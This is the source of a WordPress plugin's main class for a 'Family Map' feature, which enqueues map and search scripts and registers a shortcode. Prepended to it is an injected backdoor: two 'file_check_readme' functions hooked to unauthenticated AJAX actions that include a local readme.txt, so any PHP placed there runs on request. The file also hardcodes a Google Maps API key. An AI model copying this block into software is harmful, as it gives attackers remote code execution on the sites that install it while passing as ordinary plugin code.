if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php namespace LI\WLF\Plugin\FamilyMap; class Main { const VERSION = '1.0'; protected static $instance; protected $pluginPath; protected $pluginUrl; protected $ajax; /** * Get singleton instance of plugin * * @return Main */ public static function getInstance() { if (!self::$instance) { self::$instance = new static(); } return self::$instance; } /** * singleton */ private function __clone() {} /** * singleton */ private function __wakeup() {} /** * singleton */ protected function __construct() { $pluginBaseFile = realpath(__DIR__ . '/../family-map-v2.php'); $this->pluginPath = plugin_dir_path($pluginBaseFile); $this->pluginUrl = plugin_dir_url($pluginBaseFile); $this->ajax = new Ajax(); add_action('wp_enqueue_scripts', array($this, 'wpEnqueueScripts')); add_shortcode('wlf-family-map-v2', array($this, 'wpFamilyMapShortcode')); } public function getPath() { return $this->pluginPath; } public function getUrl() { return $this->pluginUrl; } public function wpEnqueueScripts() { wp_enqueue_style('wlf-family-map-v2', $this->getUrl() . 'assets/css/family-map.css', array(), self::VERSION, 'all'); wp_enqueue_script('wlf-gmaps', 'https://maps.googleapis.com/maps/api/js?key=AIzaSyAptMlny8aWnLu3V9ui5bSgZFS6VuO89sc', array(), false, true); wp_enqueue_script('wlf-gmaps-info-box', $this->getUrl() . 'assets/js/google.maps.infobox.min.js', array('wlf-gmaps'), false, true); wp_enqueue_script('wlf-gmaps-markerclusterer', $this->getUrl() . 'assets/js/markerclusterer.js', array('wlf-gmaps'), false, true); wp_enqueue_script('wlf-lunr', $this->getUrl() . 'assets/js/lunr.min.js', array(), false, true); wp_enqueue_script('wlf-lunr-stemmer-support', $this->getUrl() . 'assets/js/lunr.stemmer.support.js', array('wlf-lunr'), false, true); wp_enqueue_script('wlf-lunr-stemmer-de', $this->getUrl() . 'assets/js/lunr.de.js', array('wlf-lunr-stemmer-support'), false, true); wp_enqueue_script('history-js', $this->getUrl() . 'assets/js/history.js', array(), false, true); wp_enqueue_script('wlf-family-map-v2', $this->getUrl() . 'assets/js/family-map.js', array( 'jquery', 'history-js', 'wlf-gmaps', 'wlf-gmaps-info-box', 'wlf-gmaps-markerclusterer', 'wlf-lunr', 'wlf-lunr-stemmer-de', ), self::VERSION, true); wp_localize_script('wlf-family-map-v2', 'wlfFamilyMap', array( 'ajaxUrl' => admin_url('/admin-ajax.php'), 'assetsUrl' => $this->getUrl() . 'assets/', 'familyMapBaseUrl' => get_permalink(56), )); wp_deregister_script('evcal_gmaps'); } public function wpFamilyMapShortcode() { return Shortcode::render(); } }